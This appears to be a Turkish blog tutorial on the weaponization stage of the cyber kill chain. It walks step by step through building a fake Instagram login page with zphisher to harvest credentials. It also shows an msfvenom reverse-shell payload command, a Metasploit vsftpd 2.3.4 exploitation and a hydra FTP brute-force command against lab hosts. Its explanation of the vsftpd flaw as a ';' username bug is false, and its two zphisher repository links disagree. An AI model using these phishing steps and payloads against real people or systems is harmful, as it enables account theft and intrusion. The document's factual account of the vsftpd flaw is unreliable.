Bu yazıda, siber ölüm zincirinin ikinci aşaması olan silahlanma sürecine odaklanacağız. Oltalama, zararlı yazılım, zafiyet, sosyal mühendislik, kaba kuvvet saldırıları, zero-day saldırıları gibi konuları ele alacak ve örneklerle uygulamalar yapacağız.
İyi okumalar! 🙂
Silahlanma

Siber ölüm zincirinin ikinci aşaması silahlanma (weaponization) aşamasıdır.
Silahlanma aşamasında, saldırganlar bilgi toplama aşamasında topladıkları verileri kullanarak, hedeflenen sistem veya ağdaki zafiyetleri belirler ve bunları istismar edecek araçlar ve teknikler geliştirirler. Bu aşama, saldırganların hedef ağa erişim sağlamasını ve hedef ağda istediği işlemi gerçekleştirmesini sağlar.
Silahlanma aşamasında kullanılan bazı yaygın teknikler şunlardır:
Phishing (Oltalama): Saldırganlar, hedefleri kandırmak için sahte e-posta, web sitesi veya iletişim yöntemleri kullanır. Kullanıcıları sahte bir e-posta veya web sitesi aracılığıyla kötü amaçlı bağlantılara tıklamaya veya hassas bilgileri paylaşmaya ikna etmeye çalışırlar.
Örnek senaryo: Banka tarafından gönderilmiş gibi görünen sahte bir e-postada, kullanıcıya hesap bilgilerini güncellemesi veya doğrulaması için verilen bağlantıya tıklanması istenir. Bağlantıya tıklanıldığında, sahte bir web sitesi açılır ve kullanıcı burada bilgilerini girer. Bu bilgiler bankaya değil saldırgana gider ve sizin bilgilerinizle işlemler yapabilir.
Malware: Kötü amaçlı yazılım kullanarak sisteme sızma. Saldırganlar, virüsler, truva atları veya kötü amaçlı yazılım türlerini kullanarak hedef sistemi ele geçirir. Bu yazılımlar genellikle kullanıcının farkında olmadan yüklenir ve saldırganlara erişim sağlar.
Örnek senaryo: Bir USB bellek ya da başka bir taşınabilir cihazı bilgisayara takan bir kişi, bilgisayarına kötü amaçlı yazılım bulaştırabilir. Bu yazılım, bilgisayarı ele geçirerek kullanıcının hassas bilgilerini çalabilir.
Exploit: Sistem veya uygulama zayıflıklarını hedefleyerek saldırı gerçekleştirme. Saldırganlar, hedef sistemin bilinen güvenlik açıklarını veya zayıflıklarını kullanarak sisteme sızmayı amaçlarlar. Bu, yazılım güncellemeleri yapılmamış sistemlerde veya eski yazılım sürümlerinde bulunan açıkların sömürülmesini içerir.
Örnek senaryo: Bir şirketin eski bir yazılım sürümünü kullanan bir kullanıcı, bu yazılımda keşfedilen bir güvenlik açığından faydalanılarak saldırıya uğrayabilir. Güncellemeleri yapmamak, bilgisayarın güvenlik riskini artırabilir.
Sosyal Mühendislik: İnsanların duygusal tepkilerini veya güvenini kullanarak bilgi elde etme. Saldırganlar, hedefleriyle etkileşime geçerek sosyal mühendislik taktikleri kullanır. Bu, sahte kimlikler, güven kazanma ve dolandırıcılık yöntemlerini içerir.
Örnek senaryo: Bir dolandırıcı, telefonla arayarak kendini bir banka çalışanı gibi tanıtır ve kişinin kişisel bilgilerini (kredi kartı numarası, doğrulama kodu vb.) almaya çalışır.
Brute Force Saldırıları: Şifreleri tahmin etmek için otomatik olarak çok sayıda kombinasyonu deneme. Saldırganlar, kullanıcı adı ve şifre kombinasyonlarını otomatik olarak deneyerek sisteme giriş yapmaya çalışırlar. Bu tür saldırılar, zayıf şifreler veya kötü şifre yönetimi uygulamalarından kaynaklanabilir.
Örnek senaryo: Saldırganlar, hedefin sosyal medya hesabına giriş yapmak için kullanılan şifreyi tahmin etmek amacıyla çok sayıda kombinasyon deneyebilir. Zayıf şifrelerin kullanılması, bu tür saldırılara karşı savunmasızlığı artırır.
Zero-Day Saldırıları: Bilinen bir güvenlik açığına henüz bir yama yayınlanmamışken saldırı gerçekleştirme. Saldırganlar, güvenlik açıklarını hedefleyerek hedef sistemlere sızar. Bu açıklar genellikle yazılım veya işletim sistemlerinde bulunur ve hedef sistem üretici tarafından henüz kapatılmamıştır.
Örnek senaryo: Saldırganlar, bir uygulamanın ya da işletim sisteminin henüz yayınlanmamış bir güvenlik açığından faydalanarak bir bilgisayar sistemine sızabilir. Bu, üretici firma tarafından henüz keşfedilmemiş veya düzeltilmemiş bir zayıflık anlamına gelir.
Örnek olması açısından aşağıda bu tekniklerin bazıları için bazı araçların kullanımını göstereceğim lütfen bu araçların zaman içerisinde işlevlerini yitirebileceğini veya parametrelerinin değişiklik gösterebileceğini unutmayın.
Oltalama - Phishing

Oltalama, siber suçluların genellikle e-posta, telefon veya sahte web siteleri gibi araçlar kullanarak kullanıcıların hassas bilgilerini (kullanıcı adları, şifreler, kredi kartı bilgileri, vb.) çalmak veya kullanıcıları yanıltmak için kullandıkları bir saldırı yöntemidir. Bu saldırı yöntemi, dolandırıcılık, kimlik avı ve kötü amaçlı yazılım dağıtımı gibi amaçlarla kullanılabilir.
Oltalama aşamaları:
Hedef Belirleme: Oltalama saldırılarında, saldırganlar genellikle belirli bir hedef veya hedef kitle belirler. Bu hedefler genellikle banka müşterileri, e-ticaret siteleri kullanıcıları, sosyal medya platformu kullanıcıları, şirket çalışanları veya herhangi bir popüler çevrimiçi hizmetin kullanıcıları olabilir.
Kurbanları Çekmek İçin Sahte İletişim Yöntemleri: Saldırganlar, potansiyel kurbanları çekebilmek için e-posta, SMS, telefon aramaları veya sosyal medya mesajları gibi iletişim kanallarını kullanırlar. Bu iletişimler, resmi kurumlar, bankalar, şirketler veya diğer güvenilir kaynaklar gibi görünebilir ve genellikle acil veya önemli bir nedenle kullanıcıların dikkatini çekmeye çalışır.
Kimlik Avı İçeriğinin Oluşturulması: Saldırganlar, sahte web siteleri, sahte e-postalar veya sahte SMS'ler gibi yöntemlerle kurbanları kandırmak için kimlik avı içerikleri oluştururlar. Bu içerikler, kullanıcılardan kişisel bilgilerini (kullanıcı adı, şifre, kredi kartı bilgileri vb.) girmelerini veya kötü amaçlı dosyaları indirmelerini isteyebilir.
Kimlik Avı Yoluyla Bilgi Toplama: Saldırganlar, sahte web siteleri aracılığıyla kullanıcıları kandırarak hassas bilgileri girmelerini sağlarlar. Bu web siteleri genellikle orijinal bir web sitesiyle tıpatıp benzer görünür ve kullanıcıları yanıltmak için URL'leri veya diğer özellikleri taklit eder. Kullanıcılar bilgilerini girdiklerinde, bu bilgiler saldırganlara iletilir ve kullanıcıların hesaplarına erişim sağlanabilir.
Bilgilerin Kötüye Kullanılması: Saldırganlar, kullanıcılardan elde ettikleri bilgileri finansal dolandırıcılık, kimlik hırsızlığı veya diğer kötü niyetli amaçlar için kullanabilirler. Kredi kartı bilgileri, banka hesaplarına erişim, kimlik bilgileri gibi hassas bilgiler, saldırganların finansal kazanç elde etmek veya başka saldırılar gerçekleştirmek için kullanabilecekleri verilerdir.
Bu saldırı yönteminde kullanılan arçalardan biri zphisher’dir incelemek ve indirmek için: https://github.com/htr-tech/zphisher
Zphisher ile Instagram Oltalama
Zphisher, bir saldırganın sahte bir internet sayfası oluşturarak kullanıcı adları ve şifreleri toplamak için kullanabileceği bir araçtır.
1. Zphisher'ı İndirme ve Kurma
Zphisher'ı indirmek için aşağıdaki adresten "git clone" komutunu kullanarak indirebiliriz:
git clone https://github.com/b33f/zphisher.git
İndirdikten sonra, dosyanın içine girmek için cd zphisher komutunu kullanalım. Ardından, aracı çalıştırmak için: ./zphisher veya bash zphisher komutunu kullanalım. Araç, internet bağlantımızı kontrol edecek, Cloudflared ve LocalXpose'u yükleyecektir. Bu işlem yalnızca bir kez yapılır.
2. Oltalama Platformunu Seçme
Araç açıldığında, hangi platform için oltalama yapmak istediğimizi soracaktır. Bu örnekte instagram için bir oltalama saldırısı örneği ele alacağız. Instagram'ı seçmek için "2"ye basıp enter tuşuna basıyoruz.
3. Sayfa Türünü Seçme
Ardından, oluşturmak istediğimiz sayfa türünü seçmemiz istenecektir. Bu örnekte, geleneksel bir Instagram giriş sayfası kullanacağız. Bunu yapmak için "1"e basıp enter tuşuna basalım.
4. Port Servisini Seçme
Hangi port servisine yönlendirme yapılması gerektiğini belirtmemiz istenecektir. Cloudflared'ı seçmek için "2"ye basıp devam ediyoruz. Ardından portu özelleştirmek istermiyiz diye soruyor istersek "Y" ye basıp özelleştirebiliriz, ancak bu örnekte varsayılan olarak "8080" portunu kullanmayı tercih ediyorum.
5. URL'yi Özelleştirme
Ardından, URL'yi özelleştirmek isteyip istemediğimizi soruyor. Bu örnek için özelleştirmek istemediğimi belirtiyorum ve “N” tuşuna basıyorum. URL'yi özelleştirmek istersek "Y" tuşuna basabiliriz.
6. Sahte Sayfayı Oluşturma
Araç, sahte bir Instagram giriş sayfası oluşturduğunu belirterek tarayıcınızda açabileceğimiz bir URL sağlayacaktır. Bu sayfaya girdiğimizde, Instagram giriş bilgilerimizi girdiğimizde aracın çalıştığı komut satırında bilgileri görebiliriz ayrıca, bilgileri aracı kullanan bir dosyaya kaydeder ve gerçek Instagram sayfasına yönlendiriliriz. Giriş bilgileri "auth/usernames.dat" dosyasına kaydedilir ve bu dosyadan da okunabilir.
Bu sadece basit bir örnektir ve gerisi hayal gücünüze bağlıdır. Zphisher'ı kullanarak, kullanıcı adları ve şifreleri toplamak için herhangi bir platform için sahte bir giriş sayfası oluşturabilirsiniz.
Malware

Malware Nedir?
Malware, kısaltılmış haliyle "malicious software" olarak adlandırılan kötü amaçlı yazılımları ifade eder. Bu tür yazılımlar, bilgisayar sistemlerine, ağlara veya cihazlara zarar vermek, bilgi çalmak, izinsiz erişim sağlamak veya diğer zararlı faaliyetleri gerçekleştirmek amacıyla tasarlanmış programlardır. Malware, genellikle kullanıcının haberi olmadan ve onayı olmadan cihazlara bulaşabilir.
Malware Türleri
Malware türleri çeşitlilik gösterir ve farklı amaçlara hizmet edebilir. İşte bazı yaygın malware türleri:
Virüsler (Viruses): Diğer dosyalara bulaşarak kendi kopyalarını oluşturan ve yayılan kötü amaçlı programlardır. Virüsler, bir bilgisayarın işlevselliğini bozabilir, bilgileri çalabilir veya diğer zararlı eylemler gerçekleştirebilir.
Truva Atı (Trojan): Zararlı içeriği gizleyerek kullanıcıları kandıran ve bilgisayar sistemine gizlice sızan programlardır. Truva atları, genellikle kullanıcının bilgilerini çalmak veya bilgisayara yetkisiz erişim sağlamak için kullanılır.
Solucanlar (Worms): Kendi kendine yayılan ve çoğalan yazılımlardır. Solucanlar, genellikle ağlar arasında hızla yayılarak büyük çaplı hasara neden olabilir.
Casus Yazılımlar (Spyware): Kullanıcının bilgi ve aktivitelerini izleyen, genellikle reklamcılık veya kişisel bilgi çalma amacı güden yazılımlardır. Casus yazılımlar, kullanıcıların kredi kartı numaraları, şifreleri ve diğer hassas bilgilerini çalmak için kullanılabilir.
Ransomware: Dosyaları şifreleyerek kullanıcıdan fidye talep eden yazılımlardır. Kullanıcı fidyeyi ödemezse dosyalarını kaybedebilir.
Adware: Kullanıcılara istenmeyen reklamları gösteren ve genellikle kullanıcının bilgisi olmadan yüklenen yazılımlardır. Adware, genellikle reklam geliri elde etmek için kullanılır.
Malware Nasıl Bulaşır?
Malware, genellikle e-posta ekleri, kötü amaçlı web siteleri, taşınabilir medya (USB bellekler), yazılım güvenlik açıklarından yararlanma gibi yollarla bulaşır.
E-posta ekleri: Virüsler, solucanlar ve truva atları genellikle e-posta ekleriyle dağıtılır. Kullanıcılar, tanıdık olmayan kişilerden gelen e-postaları açarken veya bilinmeyen dosya uzantılarına sahip dosyaları indirirken dikkatli olmalıdır.
Kötü amaçlı web siteleri: Kötü amaçlı web siteleri, kullanıcıları malware'li dosyalara veya bağlantılara tıklamaya yönlendirmek için tasarlanmış olabilir. Kullanıcılar, güvenilir olmayan web sitelerini ziyaret ederken dikkatli olmalıdır.
Taşınabilir medya (USB bellekler): Taşınabilir medya (USB bellekler), malware'li dosyaları diğer cihazlara yaymak için kullanılabilir. Kullanıcılar, bilinmeyen kaynaklardan gelen USB bellekleri kullanmadan önce dikkatli olmalıdır.
Yazılım güvenlik açıklarından yararlanma: Yazılım güvenlik açıkları, kötü amaçlı yazılımların cihazlara sızmasına ve yayılmasına izin verebilir.
Zararlı Oluşturma
Msfvenom kullanarak zararlı yazılım oluşturmak, siber güvenlik uzmanlarının ve etik hacker'ların sıklıkla başvurduğu bir yöntemdir. Msfvenom kullanarak zararlı bir yazılım oluşturmak için aşağıdaki komutu kullanabiliriz:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.38 LPORT=4444 -f exe > malw.exe
Şimdi, bu komutun temel parametrelerini açıklayalım:
-p: Payload'ı belirtmek için kullanılır ve exploit aşamasında kullanılacak olan payload'ı belirler. Bu konuya daha sonra değineceğiz.
LHOST=: Bağlantının yapılmasını istediğimiz local makinenin IP adresini belirtiriz.
LPORT=: Bağlantı isteğinin hangi porttan yapılacağını belirtir.
-f: Format anlamına gelir ve çalıştırılacak dosyanın uzantısını belirtmek için kullanılır.
> malw.exe: Oluşturulan zararlı dosyanın adı ve uzantısını belirtir.
Bu komut, oluşturulan zararlıyı çalıştırdığımız bilgisayardan, belirlediğimiz IP ve port üzerinden bize bir bağlantı isteği gönderir. Msfconsole'da exploit/multi/handler modülü ile belirttiğimiz portu dinlediğimizde, bize bir Meterpreter oturumu açar. Bu oturumda istediğimiz Meterpreter komutlarını çalıştırabiliriz.
Exploit

Exploit, bir yazılım veya donanım sisteminde bulunan güvenlik açıklarını hedef alarak bu açıkları istismar eden kötü amaçlı bir yazılım veya kod parçasıdır. Exploit saldırıları, sistemin zayıf noktalarını hedef alarak sisteme yetkisiz erişim sağlamayı veya istenmeyen davranışlarda bulunmayı amaçlar.
Exploitler, aşağıdakiler gibi çeşitli şekillerde kullanılabilir:
Sistemlere yetkisiz erişim sağlamak: Exploitler, bir saldırganın bir sisteme yetkisiz erişim elde etmesini sağlayabilir. Bu, sistemdeki verileri okumak, değiştirmek veya silmek için kullanılabilir.
Zararlı yazılımlar yüklemek: Saldırganın bir sisteme zararlı yazılım yüklemesini sağlayabilir. Bu, bir fidye yazılımı, casus yazılım veya diğer kötü amaçlı yazılımları yüklemek için kullanılabilir.
Sistemleri kontrol etmek: Saldırganın bir sistemi kontrol etmesini sağlayabilir. Bu, sistemdeki işlemleri başlatmak, durdurmak veya değiştirmek için kullanılabilir.
Metasploit Framework
Siber güvenlik testlerinde ve saldırı simülasyonlarında yaygın olarak kullanılan açık kaynaklı siber güvenlik aracıdır. Hedef sistemlerin zafiyetlerini tespit etmek, zafiyetleri istismar etmek, saldırı senaryoları geliştirmek ve güvenlik açıklarını belirlemek için kullanılabilir.
Bir dizi modül, exploit ve payload içerir. Modüller, zafiyet taraması, güvenlik açığı analizi, saldırı planlaması ve hedef sistemlere saldırılar gibi çeşitli işlevleri gerçekleştiren komut setleridir. Exploitler, belirli bir zafiyeti istismar etmek için kullanılan kod parçacıklarıdır. Payloadlar ise hedef sistem üzerinde çalışacak olan zararlı kod veya komutlardır.
Kullanıcıların saldırı senaryolarını oluşturmasına ve yönetmesine olanak tanıyan bir arayüze sahiptir. Kullanıcılar, hedef sistemlerin taramasını yapabilir, zafiyetleri tespit edebilir, exploitler seçebilir veya geliştirebilir, payloadlar oluşturabilir ve hedef sistemlere saldırılar gerçekleştirebilir.
Auxiliary
Auxiliary modülleri, hedef sistemler üzerinde farklı taramalar, keşifler ve bilgi toplama işlemleri gerçekleştirmek için kullanılır. Bu modüller, hedef sistemlerin ağ portlarını taramak, hedefe ait servislerin sürümlerini tespit etmek, açık SNMP sunucularını keşfetmek, DNS bilgilerini toplamak gibi çeşitli işlevlere sahip olabilir.
Auxiliary modülleri saldırı senaryolarında önemli bir rol oynar çünkü saldırı öncesi keşif ve bilgi toplama aşamalarında kullanılarak hedef sistem hakkında daha fazla bilgi edinmeyi sağlar.
Exploit
Bir bilgisayar sistemi, ağ veya yazılımın güvenlik açıklarını istismar etmek için kullanılan bir kod veya teknik anlamına gelir. Güvenlik açıklarını hedef sisteme erişim sağlamak, izinsiz yetkilere ulaşmak veya istenmeyen işlemler gerçekleştirmek için kullanılır.
Sistemdeki zayıf noktaları veya güvenlik açıklarını hedef alır. Bu güvenlik açıkları, yazılım hataları, konfigürasyon zafiyetleri, protokol zayıflıkları veya diğer sistem zayıflıkları olabilir. Exploitler, bu zayıf noktalardan yararlanarak hedef sisteme erişim sağlar veya istenen sonuçları elde etmek için gerekli adımları gerçekleştirir.
Saldırı senaryosunun önemli bir bileşenidir. Bir saldırı senaryosunda, önce hedef sistemin zafiyetleri belirlenir, ardından uygun bir exploit kullanılarak bu zafiyetler istismar edilir. Exploitler, hedef sistemi ele geçirmek, kullanıcı hesaplarını ele geçirmek, yetkisiz erişim sağlamak, hassas verilere erişmek veya hedef sistemi etkisiz hale getirmek gibi çeşitli amaçlar için kullanılabilir.
Payload
Bir saldırının hedef sisteme zarar vermek veya istenilen bir işlemi gerçekleştirmek için kullanılan zararlı bir kod veya komut setini ifade eder.
Saldırı amaçlarına yönelik olarak özelleştirilmiş ve istenilen sonuçları elde etmek için tasarlanmıştır. Saldırının türüne, hedef sistem özelliklerine ve amaçlara bağlı olarak, payload'lar çeşitli işlevlere sahip olabilir.
Hedef sistem üzerinde çalışacak olan zararlı kod, komut veya programı içerebilir. Örneğin, bir remote access shell elde etmek, dosya indirmek veya yüklemek, sistemde backdoor açmak, hedef sistemde komut çalıştırmak gibi işlevlere sahip olabilir.
Exploitlerle birlikte kullanılır. Bir exploit, hedef sistemin zafiyetini istismar etmek için kullanılan bir kod veya yöntemdir. Exploit, hedef sisteme erişim sağladıktan sonra, payload'ı hedef sistem üzerinde çalıştırarak istenen sonuçları elde etmeyi amaçlar.
Encoder
Encoder (kodlayıcı) terimi, zararlı kodun tespit edilmesini engellemek veya zararlı kodun boyutunu küçültmek için kullanılan tekniklerdir.
Bir exploit veya payload, hedef sisteme zararlı kodu enjekte etmek veya çalıştırmak için kullanılan bir bileşendir. Ancak, bazı durumlarda zararlı kodun algılanması veya engellenmesi mümkün olabilir. İşte bu noktada Encoder'lar devreye girer.
Encoder'lar, zararlı kodu değiştirerek veya dönüştürerek, kodunun algılanmasını zorlaştırır veya engeller. Bu işlem, zararlı kodun yapısal özelliklerini değiştirir ve zararlı yazılım tespit sistemlerinin imzalarını atlama veya zararlı yazılım analizini zorlaştırma amacını taşır.
Metasploit Framework içindeki Encoder'lar, zararlı kodu farklı şekillerde kodlar veya dönüştürür. Önceden tanımlanmış algoritmalara veya özel olarak oluşturulan kodlama yöntemlerine dayanabilir. Encoder'lar, zararlı kodun çalışması için gerekli işlevselliği bozmadan, kodun yapısını ve görünümünü değiştirir. Bu sayede, zararlı kodun algılanması ve engellenmesi zorlaşır.
Metasploit Commends:
msfconsole: Metasploit Framework'ü başlatır.
msfdb run: Veritabanını başlatır.
msfdb init: Veritabanını yapılandırmak için kullanılır.
db_status: Veritabanı durumunu kontrol eder.
search: Modül ve exploitler arasında arama yapar.
info, advanced: Modül veya exploit hakkında bilgi alır.
show: Ayarları, modülleri veya exploitleri gösterir.
use: Belirli bir modül veya exploit'i seçer.
options: Modül ayarlarını gösterir ve değiştirir.
set: Belirli bir ayarı ayarlamak için kullanılır.
check: Seçilen modülün öntestini yapar (tüm modüllerde desteklenmez).
run, exploit: Seçilen modülü veya exploit'i çalıştırır.
session: Aktif oturumları görüntüler ve arasında geçiş yapmanıza olanak sağlar.
jobs: Arka planda çalışan modül işlemlerini listeler.
back: Seçilen modülden çıkar.
exit: Metasploit Framework'ten çıkar.
Önceki aşamalarda Nmap'i ele almıştık. Şimdi Nmap kullanarak bir versiyon taraması gerçekleştiriyoruz ve 21 numaralı FTP portunda vsftpd 2.3.4 sürümünün çalıştığını tespit ediyoruz. Ardından, msfconsole komutunu kullanarak Metasploitable framework'ünü başlatıyoruz ve bu sürüme yönelik bir exploit olup olmadığını search komutu ile kontrol ediyoruz. İlgili exploit'i bulduktan sonra use komutuyla modülün içine girip ayarları yapıyoruz. set rhost komutuyla uzak makineyi belirtiyoruz. Geri kalan parametreler, Metasploit Framework tarafından otomatik olarak dolduruluyor. Son olarak, exploit komutunu kullanarak oturumu root yetkileri ile açıyoruz ve bu zafiyeti başarıyla sömürüyoruz.
VSFTPD 2.3.4 zafiyetinin sebebi, FTP oturum açma işlemi sırasında kullanıcı adının doğrulanması için kullanılan kodun hatalı olmasıdır. Bu hatalı kod, kullanıcı adının ";" karakterinden sonra gelen herhangi bir karaktere izin vermektedir. Bu da, bir saldırganın kullanıcı adının başına ";" karakteri ekleyerek, geçerli olmayan bir kullanıcı adı ile bile oturum açabilmesine olanak sağlamaktadır.
Bu zafiyetin sebebi, VSFTPD geliştiricilerinin ";" karakterini bir ayırıcı karakter olarak görmeleridir. Ancak, bu karakter aynı zamanda bir yorum karakteri olarak da kullanılabilir. Bu nedenle, ";" karakterinin ardından gelen herhangi bir karakter, yorumlanmaksızın kabul edilmektedir.
Bu zafiyet, bir saldırganın aşağıdaki adımları izleyerek istismar edilebilir:
Saldırgan, zafiyet bulunan bir VSFTPD sunucusuna bağlanır.
Kullanıcı adı alanına ";" karakteri ekler ve ardından herhangi bir karakter girer.
"Login" düğmesine tıklar.
Bu işlem sonucunda, saldırgan geçerli bir kullanıcı adı olmasa bile oturum açabilir. Bu oturum sayesinde, saldırgan sunucunun dosyalarına erişebilir ve komutlar çalıştırabilir.
Searchsploit
Exploit-DB'yi araştırmamıza ve hedef sistemlerdeki güvenlik açıklarını bulmamıza yardımcı olan bir komut satırı aracıdır. Searchsploit, Metasploit Framework'ün bir parçası olarak gelir ve Kali Linux gibi siber güvenlik odaklı Linux dağıtımlarında bulunur.
Temel amacı, Exploit-DB veritabanındaki exploitler, shellcode'lar, payload'lar ve diğer güvenlik açığı hakkında bilgileri hızlı bir şekilde bulmamızı sağlamaktır. Bu, güvenlik testleri, sızma testleri ve saldırı senaryoları oluştururken kullanışlı olabilir.
Searchsploit'i kullanarak, belirli bir hedef sisteme veya yazılıma yönelik bilinen güvenlik açıklarını bulmak için anahtar kelimeleri veya ürün adını kullanabiliriz. Arama sonuçları, exploitin bulunduğu dosyanın yolunu, açıklamanın bir özetini ve diğer ilgili bilgileri içeren bir liste olarak sunulur.
Searchsploit ayrıca, exploitlerin kaynak kodunu görüntülememize, exploitleri kopyalamanıza veya doğrudan Metasploit Framework'e entegre etmenize olanak tanır. Bu sayede, bulunan bir exploit'i kullanarak hedef sistemlerde güvenlik açıklarını istismar edebilir ve siber saldırı senaryoları oluşturabiliriz.
searchsploit <örnek>: Belirli bir anahtar kelime veya örnek kullanarak Exploit-DB veritabanında arama yapar.
searchsploit -w <url>: Belirli bir URL ile ilgili exploitler hakkında ayrıntılı bilgi verir.
searchsploit --id <id_numarası>: Belirli bir exploitin ID numarasına göre ayrıntılı bilgi verir.
searchsploit --id <id_numarası> -p: Belirli bir exploitin ID numarasına göre exploit’in yolunu gösterir.
searchsploit -m komutu, searchsploit aracıyla belirli bir exploit modülünü kullanıma hazır hale getirmek için kullanılır. Bu komutu kullanarak exploit modülünün bir kopyasını, çalışma dizinine kopyalayabilirsiniz.
searchsploit -m <exploit_id>
Burada <exploit_id>, kullanmak istediğiniz exploit modülünün benzersiz kimlik numarası veya adını temsil eder. Komutu çalıştırdığınızda, exploit modülü belirtilen çalışma dizinine kopyalanır ve kullanıma hazır hale getirilir.
Brute Force

Özellikle web sitelerinin kullanıcı adı ve parola bilgilerini bulmak için kullanılan Brute Force saldırısında, doğru kombinasyonu bulmak amacıyla çok fazla sayıda deneme, art arda tekrarlanıyor. Diğer bir deyişle temel bir Brute Force saldırısı, yüzlerce sayıda Brute Force ataklarının birleşiminden oluşabiliyor. Çünkü web sitelerine gerçekleştirilen kaba kuvvet saldırılarının başarıya ulaşma şansı, deneme sayısı arttıkça yükseliyor. Brute Force kavramını bir hırsızın, bir kapının kilidini binlerce farklı anahtarla açmaya çalışmasına benzetebilirsiniz. Kapı kilidi ne kadar kompleks bir yapıda tasarlanmışsa ya da kilit içerisinde ne kadar fazla sayıda çentik bulunursa hırsızın bu kilide uyan anahtarı bulması da o kadar uzun sürecektir. Tam da bu nedenle web sitelerinin admin panellerinde kullanılan kullanıcı adı ve parola bilgilerinin, yeterince kompleks bağlamlarda oluşturulmuş olması gerekir. Çünkü örneğin yalnızca harflerden oluşan bir parola, Brute Force attack botları tarafından saniyeler içerisinde kırılabilirken; harf, sayı ve özel karakterlerin birleşiminden oluşan daha kompleks parolaların çözülmesi sonsuz zaman gerektirebilir.
Basit Kaba Kuvvet Saldırısı - Simple Brute Force Attacks
Basit bir kaba kuvvet saldırısında, saldırganlar küçük bir dizi mümkün olan basit şifreleri hızlı bir şekilde kırmaya çalışırlar. Bu saldırılar, zayıf şifreler veya basit şifre politikalarına sahip sistemlere karşı etkili olabilir. Örneğin, bu saldırı, "admin123" gibi yaygın ifadelerle oluşturulmuş basit şifreleri hızlı ve kolay bir şekilde tahmin edebilir. Ayrıca, büyük ve küçük harf kombinasyonları içermeyen şifreleri de kırmakta başarılı olabilir.
Saldırganlar bunu manuel olarak gerçekleştirebilir veya otomasyon ve komut dosyalarını kullanabilir. Otomatik saldırılar daha verimli olabilir, ancak aynı zamanda güvenlik sistemleri tarafından tespit edilme ve engellenme olasılığı daha yüksektir. Bu teknik genellikle güçlü şifreler veya sağlam güvenlik önlemlerine sahip sistemlere karşı etkisizdir.
Sözlük Saldırısı - Dictionary Attack
Sözlük saldırısı, genellikle önceden oluşturulmuş bir kelime listesinden alınan farklı şifreleri deneyen bir saldırı türüdür. Saldırgan, doğru şifreyi bulmak için çeşitli kelime ve cümle kombinasyonlarını denemek üzere bir program kullanır. Bu program, saldırganın sonunda doğru şifreyi bulmasını sağlayacak denemeleri yapar. Saldırganlar, özel sözlükleri kullanmanın yanı sıra şifreleri güçlendirmek için kelimelere sayılar ve özel karakterler ekleyerek çeşitlendirebilirler. Ayrıca, daha önceki veri ihlallerinden sızdırılan şifreleri kullanarak sözlük saldırıları gerçekleştirebilirler.
Sözlük saldırıları etkili olabilir çünkü birçok kişi sadece kelimelerden veya kelime öbeklerinden oluşan şifreler seçer. Saldırganın programı, bu tür şifreleri kolayca tahmin edebilir, bu da sözlük saldırılarını genellikle başarılı kılar.
Hibrit Kaba Kuvvet Saldırısı - Hybrid Brute Force Attack
Hibrit kaba kuvvet saldırısı, bir sözlük saldırısını bir kaba kuvvet saldırısıyla birleştiren saldırı türüdür. Hibrit saldırıda, saldırgan, kaba kuvvet saldırısındaki gibi rasgele karakterlerden oluşan bir küme kullanacak ve aynı zamanda bir sözlük saldırısındaki gibi yaygın kelime listesini denemek için bir program kullanacaktır.
Bu iki tekniği birleştirmek, hibrit saldırıyı tek bir sözlük saldırısından veya kaba kuvvet saldırısından daha başarılı kılabilir. Bunun nedeni, saldırganın hem yaygın hem de daha az yaygın şifre seçeneklerini deneme olanağı sağlamasıdır.
Tersine Kaba Kuvvet Saldırısı - Reverse Brute Force Attack
Normal bir BF saldırısında, saldırganlar tahmin ettikleri şifreyi bilmezler. Adından da anlaşılacağı gibi, ters BF saldırısı tersine hareket eder. Örneğin, saldırgan aradığı şifreyi biliyorsa, milyonlarca kullanıcı adı arasında denemeler yaparak eşleşen kullanıcı adını bulmaya çalışacaktır. Bu yaklaşım için saldırganlar genellikle internette bulunabilecek daha önceki veri ihlallerinden sızan şifreleri kullanırlar.
Kimlik Bilgisi Doldurma Saldırısı - Credential Stuffing Attack
Birçok kullanıcı aynı kimlik bilgilerini birden fazla kullanıcı hesabı için kullanabilir. Kimlik bilgisi doldurma saldırıları, çalınan bir kullanıcı adı ve şifre çiftleri listesini diğer hesaplara yetkisiz erişim sağlamak için yeniden kullanmaktır. Bilgisayar korsanları bu çalıntı kimlik bilgilerini çeşitli web sitelerinde denemek için otomatik araçlar kullanır. Eğer başarılı olurlarsa, hassas kişisel ve finansal bilgilere erişim elde edebilirler.
Kısaca, sözlük saldırıları basit ve yaygın şifrelerle mücadele ederken; hibrit saldırılar, karmaşık kombinasyonlarla etkili olmaya çalışır. Tersine kaba kuvvet saldırıları, elde edilen bilgilerle geniş bir hedef kitlesine yönelirken; kimlik bilgisi doldurma saldırıları, farklı platformlarda kullanılan benzer bilgileri hedef alır.
Hydra aracını kullanarak Metasploitable 2'nin FTP servisine brute force saldırısı yapalım ve FTP giriş bilgilerini bulmaya çalışalım:
hydra -L users.txt -P passwdd ftp://192.168.1.41/ -v -f
Bu komutun parametreleri şu şekilde açıklanabilir:
-L: Kullanıcı adlarının bulunduğu dosya yolunu belirtmek için kullanılan parametredir.
-P: Parolaların bulunduğu dosya yolunu belirtmek için kullanılan parametredir.
ftp://192.168.1.41/: Hangi servise saldırı yapacağımızı ve hedefin IP adresini belirtir.
-v: "Verbose" anlamına gelir, çıktıyı ayrıntılı verir.
-f: Doğru sonuç bulunduğunda aracı durdurmak için kullanılan parametredir.
Sonuç olarak, silahlanma aşaması, siber saldırı döngüsünün önemli bir aşamasıdır. Bu aşamada, saldırganlar hedef sistem veya ağdaki zafiyetleri belirler ve bunları istismar edecek araçlar ve teknikler geliştirirler. Bu aşama, saldırganların hedef sisteme erişim sağlamasını ve istediği işlemi gerçekleştirmesini sağlar.
Silahlanma aşamasını önlemek için alınabilecek bazı önlemler şunlardır:
Bilgisayar sistemlerini ve ağları düzenli olarak güncellemek. Yazılım üreticileri, genellikle güvenlik açıklarını gidermek için güncellemeler yayınlar. Bu güncellemeleri düzenli olarak yüklemek, bilgisayar sistemlerini ve ağları en son güvenlik düzeltmeleriyle korunmasına yardımcı olacaktır.
Güçlü ve karmaşık şifreler kullanmak. Şifreler, en az 12 karakter uzunluğunda olmalı ve büyük/küçük harfler, sayılar ve özel karakterler içermelidir. Şifreleri düzenli olarak değiştirmek ve başkalarıyla paylaşmamak da önemlidir.
